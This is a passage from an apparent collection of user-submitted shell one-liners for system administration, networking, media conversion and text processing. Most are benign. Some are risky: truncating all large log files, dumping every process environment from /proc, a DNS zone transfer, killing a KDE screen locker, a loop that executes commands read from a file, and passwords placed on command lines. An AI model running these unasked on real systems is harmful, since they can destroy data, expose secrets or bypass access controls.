finished. $(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user@example.com) > /dev/null & # Function to split a string into an array Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; } # If you have lots of svn working copies in one dir and want to see in which rep ositories they are stored, this will do the trick.(for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//'`; do echo $i; svn info $i; done ) | egrep '^.\/|^URL' # Greets the user appropriately echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi) # Synchronize date and time with a server over ssh date +%Y%m%d%T -s "`ssh user@server 'date "+%Y%m%d %T"'`" # Remove all unused shared memory segments for current user ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 }}' | xargs -n 1 ipcrm -m # Unrar all files in a directory for f in *.rar;do unrar e ?$f?;done # checks if host /service is up on a host that doesn't respond to ping while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done # Add the time to BASH prompt export PS1="(\@) $PS1" # Make a quick network capture with tcpdump to a file - filename based on tcpdum p argumentstcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap" # get useful statistics from tcpdump (sort by ip) tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}.[0-9]{1,}.[0-9]{1,}.[0-9]{1,}' | sort | uniq -c | sort -n # View the list of files and directories in an archive with less. less file.tar.gz # colored tail tail -f FILE | grep --color=always KEYWORD # Get the date field from syslog for a certain set of events grep xxxx messages | cut -d ' ' -f 1,2,3 # List contact infomation for Domain list whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration Service Provider:/ {print} END{print "----------------\n"}' # Watch RX/TX rate of an interface in kb/s while :; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done # Create a P12 file, using OpenSSL openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12 # An easter egg built into python to give you the Zen of Python echo "import this" | python # floating point operations in shell scripts echo "5 k 3 5 / p" | dc # Proxy all web traffic via ssh Putty -d 8080 [server] # geoip information geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; } # Loop over files found using 'find' (works with filenames that contain spaces) find -name 'foo*' | while read i; do echo "$i"; done # View All Processess Cmdlines and Environments cd /proc&&ps a -opid=|xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s "\000" " "<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort' # copy selected folder found recursively under src retaining the structure find <src-path-to-search> -name "<folder-name>" | xargs -i cp -avfr --parent {} /<dest-path-to-copy> # Calculate 1**2 + 2**2 + 3**2 + ... N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc # Save a file you edited in vim without the needed permissions :%!sudo tee % # Unlock your KDE4 session remotely (for boxes locked by KDE lock utility) killall -s 9 krunner_lock # List all available commands in bash hit "tab" twice and answer y # rcsdiff: Output the differences side-by-side rcsdiff -y myfile # Updates file in all the zips ls *.zip|awk '{$a="zip -fo "$1" FILENAME"; system($a);}' # Get Google PageRank curl pagerank.bz/yourdomain.com # Encode a file to MPEG4 format HandBrakeCLI -i video.avi -o video.mp4 # Ignore a specific subdir, instead of all subdirs, with ack-grep ack -a -G '^(?!.*bar/data.*).*$' pattern # Purge configuration files of removed packages on debian based systems dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P # Console clock while sleep 1; do echo -n "\r`date`"; done # Replace all occurences of a pattern with another one from previous command !!:gs/foo/bar # amixer : raise volume and unmute if necessary amixer -c 0 set Master 1+ unmute # Create x11vnc server authentication file x11vnc -storepasswd your_new_apssword ~/my_vnc_pass # Export OPML from Google Reader export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; } # a2p converts awk scripts to perl programs a2p -F: # A way to run commands on a remote computer to be displayed on the remote compu terwhile :;do if [ ! $(ls -l commander |cut -d ' ' -f5) -eq 0 ]; then echo "Ran command: $(less commander) @ $(date +%D) $(date +%r)" >> comm_log;"$(less commander)";> commander;fi;done # Create a tunnel from a remote server to the local machine using a specific sou rce portsocat TCP-LISTEN:locport,fork TCP:XXX.XXX.XXX.XXX:YYY,sourceport=srcport # How many lines in your PHP project without comments find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l # Get the rough (german) time from Twitter by @zurvollenstunde curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs | sed -e 's#\ #:#' # progress bar for cp progr # Paste hardware list (hwls) in html format into pastehtml.com directly from con sole and return URI.$ pastebin(){ curl -s -S --data-urlencode "txt=$(cat)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;} # rsync over ssh rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/ # Creating sequence of number with text seq 10 |xargs -n1 echo Printing line # Start the x11vnc server x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever # Send a local file via email { echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ; # Create a series of incrementing numbers in vim :.,$!perl -pne 'for $i ("0001".."0004"){ s/XXXX/$i/ if($i == $.) }' # Login via SSH ssh -l <username> <server> # Query well known ports list portnum() { egrep "[[:space:]]$*/" /etc/services; } # search into contents of python module srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; }; # Copy all files. All normal files, all hidden files and all files starting with - (minus).cp ./* .[!.]* ..?* /path/to/dir # Eclipse needs to know the path to the local maven repository. Therefore the cl asspath variable M2_REPO has to be set.mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo # Geo Weather xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT # display the ttl of a hostname in a human readable form function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}') } # Dump /dev/ttyS0 on background automatically from startup nohup cat /dev/ttyS0 | tee -a llamadas.db& # First file editor for newbies cat > file.txt << EOF # list the last week's added files in xmms2's library xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc) # Be notified about overheating of your CPU and/or motherboard sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees" # Find files older than X, using find. find . -mtime +10 # So you are not sure are connected and iither your router or ethernet card are not working.sudo tcpdump -i eth0 -n port 67 and 68 # Unix timestamp Solaris nawk 'BEGIN {print srand()}' # Look for process by filename in command then kill the process ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}'` # Search filenames with given pattern; each one is transfered via scp and if suc cesfull the file is locally deleted. Ideal for filesystem quick maintenance'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if [[ $? -eq 0 ]]; then rm $file; fi; done' # avi to ogv (Ogg Theora) ffmpeg2theora input.avi # Add user to group on OS X 10.5 sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username # Unix timestamp Solaris /usr/bin/truss /usr/bin/date 2>&1 | nawk -F= '/^time\(\)/ {gsub(/ /,"",$2);print $2}' # Console clock -- Beautiful yes 'clear;printf "\n\n`date`\n" | figlet -f starwars;sleep 1' | sh # Fix all the commit log messages from a user of a bad subversion client for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut -dr -f2`; do svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R file:///path/repo; perl -e 'print ".\n";' | fromdos`" file:///path/repo; done # Remove all unused kernels with apt-get apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {print \$2}") # Update all packages installed via homebrew brew update && brew install `brew outdated` # Find given string in all files with given name or extension find . -name "*.html" -exec grep -l 'string' {} \; # Greets the user appropriately echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi) # Easy to extend one-liner for cron scripts that automate filesystem checking ( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /bin/mount $TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB" # Unix timestamp Solaris perl -le 'print time()' # SVN Recursive Directory/File Adder svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd $i;else svn add $i;fi; fi;done } # Create a booklet ps file out of a normal ps (A4 Size) psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.booklet.ps # mencoder convert bluray to xvid mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi # Number of CPU's in a system grep -c '^$' /proc/cpuinfo # slice a fixed number of characters from the output of a command, where the wid th of the slice is the number of characters in $sliceslice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)- # convert a line to a space sed 's/.*/ /' # Configuring a proxy for a cobbler repo cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.100:3128" # Remove all the files except abc in the directory find * ! -name abc -delete # Map \r do insert random number in vim imap <leader>r <C-r>=system('echo "$(($RANDOM % 100))"')<cr> # Console clock -- Beautiful 2 yes 'clear;printf "`date`\n" | figlet -f starwars | boxes;sleep 1' | sh # Find all IP connected to my host through TCP connection and count it netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort |uniq -c |sort -n | tail -1000 | grep -v "0.0.0.0" # Install 4 new package files sudo dpkg -i `ls -tr *.deb | tail -n4` # Mount a truecrypt drive from a file from the command line non-interactively su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD" # Emulate perl 'print "#" x 20, "\n"' printf '%*s\n' 20 | tr ' ' '#' # slice a fixed number of characters from the output of a command, where the wid th of the slice is the number of characters in $sliceslice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--" # Merge PDFs with Ghostscript wrapped in a function mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" } # Get all URLs from webpage via Regular Expression lynx --dump "http://www.google.com.br" | egrep -o "http:.*" # Dns zone transfer host -la domain.com # Convert video type from mpg to wmv mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts br=98 -o output.wmv input.mpg # shell function to turn start and length in to a range suitable for using in cu t.range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; } # print your iTunes App for iPhone/iTouch/iPad to show your friends which ones y ou havefind ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \. -f 1 > ~/Desktop/MyAppList`date +%s.txt` # Remove all the files except abc in the directory find * ! -name abc -type f -delete # find rcs locked file in a given folder find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R {} \; # The wisdom of Cave Johnson curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f 2- | fmt -w $(tput cols) # Compute the average number of KB per file for each dir parallel echo -n {}"\ "\;echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: * # List all files fred* unless in a junk directory ls **/fred*~*junk*/* # A quick shell command to weed out the small wallpapers for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; } # Get a metascore from metacritic.com metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; } # remote backups with rsync rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/backup remote-host:/dest/path/ # Top 10 pages apache access_log awk '$7 !~ /(.gif|.jpg|.ico|.txt)$/ {print $7}' access_log | sed 's/\/$//g' | sort | uniq -c | sort -rn | head # geolocalize ip country while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$line Pais=$pais" && echo done <listaip # Track progress of long-running text-command using graphical dialog (pv -n long_running > output) 2>&1 | zenity --progress # Enable tab completion for known SSH hosts complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[:digit:]]/ {$1 = "";print tolower($0)}')" ssh # Put uuid of disk into variable TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^.*UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})\".*/\1/p") # Sort a character string echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n' # Send a local file via email cat filename | uuencode filename | mail -s "Email subject" user@example.com # Bold matching string without skipping others sed 's/pattern/^[[1m&^[[0m/g' # Instant editing screenshot with Gimp sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F" # Shows how many percents of all avaliable packages are installed in your gentoo systemecho $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-names | wc -l) | bc -l)% # Console clock watch -n 1 : # Use tcpdump to monitor all DNS queries and responses sudo tcpdump -i en0 'udp port 53' # cat all text files into one cat $(file * | grep ASCII | awk -F: {'print $1'}) > all-in-one # Convert high resolution JPEG for web publication convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line /home/user/web_file.jpg # quick integer CPU benchmark echo '2^2^20' | time bc > /dev/null # Parse tektronic csv files awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data # Apply all pending updates to Mandriva Linux system (2008.0 and newer). urpmi --auto-update --force # apply all pending updates (Mandriva Linux) # Rip audio tracks from CD to wav files in current dir cdparanoia -B # Extract URL from SVN working copy function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; } # Length of longest line of code perl -ne '$w = length if (length > $w); END {print "$w\n"}' *.cpp # compile source & then remove the dev tools you needed to install dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk '{print $3}' | xargs sudo apt-get remove -y --purge # Delete Mailer-Daemon messages mailq | grep MAILER-DAEMON | awk '{print $1}' | tr -d '*' | postsuper -d - # A child process which survives the parent's death (Zsh version) command &! # recursively change file name from uppercase to lowercase (or viceversa) find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \; # Add all unversioned files to svn svn add * # Monitor specific process (ie apache) using Top top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'` # Grep all your PDFs in a row find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text" # Print total size of specified files and subdirectories du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc # CSV list of infected URLS detected by ClamAV grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e 's/\,http.*url=/\,/g' | sed -e 's/&/\,/g' | sed -e 's/source=//g' |sed -e 's/user=//g' | sed -e 's/virus=//g' | sed -e 's/stream\:+//g' | sed -e 's/\+FOUND//g' # Give information about your graphic chipset lshw -C display # display emerge.log date in a human friendly way tail /var/log/emerge.log | awk -F: '{print strftime("%Y%m%d %X %Z", $1),$2}' # Update twitter with curl curl -u username:password -d status="blah blah blah" https://twitter.com/statuses/update.xml # tcptraceroute alternative for udp packets sudo hping3 -TV --tr-stop -n -2 -p 53 ns1.server.tld # Dumping Audio stream from flv (using ffmpeg) ffmpeg -i input.flv -aq 2 output.mp3 # to make any command run even if sytem gets shut down nohup df -k | sort -rn 12 # running command directly, skip alias or function which has the same name \<command> # Extract infomation form pcap tshark -r data.pcap -zio,phs # make non-printable characters visible cat -A # Use heading subtitle file as watermark using mencoder mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -vf scale=320:-2,expand=:240:::1 -o output.avi input.flv # google search perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N},$i+=10}'|grep '\/\/g33kinfo.com\/' # geoip information geoiplookup www.commandlinefu.com # Calculate N! dc -e '10 [q]sq[dd1=q1-lxx*]dsxxp' # Remove empty lines grep -E -v '^#|^$' tx.bak # Realtime lines per second in a log file tail -f /var/log/logfile|perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print "$l\n";$l=0}}' # Print all connections of a source IP address in pcap tshark -r data.pcap -R "ip.src==192.168.1.2" -T fields -e "ip.dst" |sort |uniq -c # Simple calculator while true; do read i; echo $[$i]; done # Provides external IP, Country and City in a formated manner. geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' } # Command to show battery power status webattery # Re-run [re-edited] sequence of commands in vim history In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move to window to modify && :so /tmp/tmp.vim # Generate a unique MAC address from an IP Address echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' |sed 's/.\{2\}/:&/g' ) # Boot from a block device without giving root privilege to Virtual Box VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm "$1";} # Print out buddy name (aim) which has been capture in pcap tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c # ps grep with header psg () { ps auxwww | egrep "$1|PID" | grep -v grep } # Edit all files found having a specific string found by grep grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim # Learn how to stop mistyping "ls" the fun way apt-get install sl; sl # Alias for lazy tmux create/reattach alias ltmux="if tmux has; then tmux attach; else tmux new; fi" # What happened on this day in history? firefox http://en.wikipedia.org/wiki/$(date +'%b_%d') # Edit all different files from 2 directories with gvim in difference mode (gvim -d)LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 gvim --nofork -d # Change file time stamp touch -t [[CC]AA]MMJJhhmm[.ss] # validate xml in a shell script. xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1 # get function's source source_print(){ set | sed -n "/^$1/,/^}$/p"; }; # count processes with status ps -eo stat= | sort | uniq -c | sort -n # Check to make sure the whois nameservers match the nameserver records from the nameservers themselvesdomain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'); do echo ">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short; echo; done; # create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg inst ance...ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstAudioPort4 -newaudio # Capture all tcp and udp packets in LAN, except packets coming to localhost (19 2.168.1.2)sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2' # Show all occurences of STRING with filename and line number for given FILE pat tern under the DIR.find DIR -name "FILE" -exec grep -IHn STRING {} \; # Get all IPs via ifconfig ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ". # Edit all files found having a specific string found by grep grep -ir 'foo' * | awk -F '{print $1}' | xargs vim # system beep off setterm -bfreq 0 # Wait for an already launched program to stop before starting a new command. wait # Make a server's console beep when the network is down while :; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; sleep 1; done # record audio and use sox to eliminate silence. Results an ogg file that only c ontains the audio signal exceeding -45dBrec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d # Playback music in VLC without the GUI interface cvlc <somemusic.mp3> # progress bar for cp while [$((or_sz=$(stat -c %s "$1"))) -gt $((ds_sz=$(stat -c %s "$2")))];do ((pct=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;echo -n \>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "] $(((100*$pct)/69))%";done # Read manpages without the man(1) command zcat /usr/share/man/man1/man.1.gz | nroff -man | less # Simple countdown from a given date watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l' # Tail the most recently modified file ls -t1 | head -n1 | xargs tail -f # List all authors of a particular git project git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i], i;}}' | sort -rn | cut -d\ -f2- # Mark packages installed with build-dep for autoremove (on Debian/Ubuntu) sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g') # Hello world pi 62999 | tr 0-9 del\ l\!owrH # Remove trailing whitespaces (or tabs) from a text file sed -i 's/[ \t]\+$//g' file.txt # Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo sftp -s "sudo /usr/lib/sftp-server" user@host # List all text files (exclude binary files) find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;" # Get decimal ascii code from character ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' } # Remove all but One rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; } # Clean up formatting of a perl script perltidy foo.pl # For finding out if something is listening on a port and if so what the daemon is.lsof -i :[port number] # Create cheap and easy index.html file F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "<li><a href='$i'>$i</a>"; done >$F # ping with timestamp ping HOSTNAME | while read pong; do echo "$(date): $pong"; done # Display list of locked AFS volumes (if any) vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk '{printf("%s ",$1)} END {printf("\n")}' # Insert line number in vim :%s/^/\=line('.').' ' # What happened on this day in history? www-browser http://en.wikipedia.org/wiki/$(date +'%b_%d') # Rename a file with a random name rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done } # See how many more processes are allowed, awesome! echo $(($(ulimit -u)-$(pgrep -u $USER|wc -l)) # Go get those photos from a Picasa album echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist # list files/directories in current directory -- sorted by file size in MB sudo du -sm * | sort -n # reset Mageia urpmi media sources to network only urpmi.removemedia -a && urpmi.addmedia --distrib --mirrorlist # shutdown pc in 4 hours without needing to keep terminal open / user logged in. shutdown 60*4 & disown # Archive tar.gz archives all files (with extension filter) individually from an locationfind ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-files {} \; \; # Encrypt text to md5 wget -qO - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep -A1 "Md5 encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g' # Update obsolete CVS Root files find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \; # Remove/replace newline characters. sed ':a;N;$!ba;s/\n/ /g' # Create a symbolic link tree that shadows a directory structure find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh # Record Alexa Traffic Stats of your Website x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done & # Get first Git commit hash git log --format=%H | tail -1 # Find which service was used by which port number cat /etc/services | egrep [[:blank:]]<port_number>/ # recursive command to find out all directories find $DIR -exec bash method {} ";" # Display GCC Predefined Macros echo | gcc -dM -E - # Displays the number of unread messages on your gmail at the top right corner o f your terminalwhile sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep -o '[0-9]\+')";tput rc; done & # Decrypt MD5 wget -qO - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" http://md5-decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g' # find all files containing a pattern, open them using vi and place cursor to th e first match, use 'n' and ':n' to navigatefind . -type f -exec grep -l pattern {} \; | xargs vi +/pattern # Show some details of recent Leopard Time Machine activity - shell: bash, Mac O SX 10.5syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30 # Clean up after improper deletes in subversion svn rm `svn status | grep "\!" | cut -c 8-` # Find which service was used by which port number grep '\<110/' /etc/services; grep '\b110/' /etc/services # Safely remove old unused kernels in Ubuntu/Debian sudo aptitude purge ~ilinux-image-\[0-9\]\(\!`uname -r`\) # Autorotate a directory of JPEG images from a digital camera jhead -autorot * # solaris: get current date + 72 hours TZ=$TZ-72 date +%d.%m.%Y # total text files in current dir file -i * | grep 'text/plain' | wc -l # Easily decode unix-time (funtion) utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; } # Kill process by searching something from 'ps' command pkill <process name> # dump a remote db via ssh and populate local db with postgres ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9" | bzcat | psql -U user bd_name # Take a screenshot of the screen, upload it to ompldr.org and put link to the c lipboard and to the screenshots.log (with a date stamp) in a home directory.scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: <a href="v([A-Za-z0-9+\/]+)">)' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i ? (full in a sample output) # Make webcam video ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4 Filename.mp4 # Transfer files with rsync over ssh on a non-standard port. rsync -P -e 'ssh -p PORT' SRC DEST # Geo Temp curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|' # Revert an SVN file to previous revision svn diff -r M:N file.php | patch -p0 # Add new files/directory to subversion repository svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add # force change password for all user getent passwd|cut -d: -f1|xargs -n1 passwd -e # Auto export display when coming from SSH [ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):0.0 # AIX: Set reserve lock=no in EMC disks that have reserve_lock=yes for i in $(lsdev -Cc disk | grep EMC | cut -f 1 -d " " ); do if lsattr -a reserve_lock -El $i | grep -q "reserve_lock yes"; then chdev -a reserve_lock=no -l $i; fi; done # count how many cat processes are running pgrep -c cat # same as backspace and return <ctrl+h> and <ctrl+j> # Let yourself read the logs under /var/log/apache2 (on Debian) sudo usermod -a -G adm "$(whoami)" # use awk to replace field with it's md5sum awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/[[:blank:]].*/,"",$2); print $0}' # Locate Hacked Files and Dump. find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt # Today's date on a yearly calendar... cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n' # Quickly clean log files (assuming you don't want them anymore) for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done # Check the apt security keys apt-key list # Extract all urls from last firefox sessionstore used in a portable way. perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q) # Test internet connectivity ping 8.8.8.8 # # Multiline paragraph sort; with case insensitive option (-i) gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGC=1}};{Text[NR]=$0};END {asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i<Zip.txt # Gets the english pronunciation of a phrase say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;} # Get all links of a website lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u # Quickly clean log files (assuming you don't want them anymore) for file in `find /var/log/ 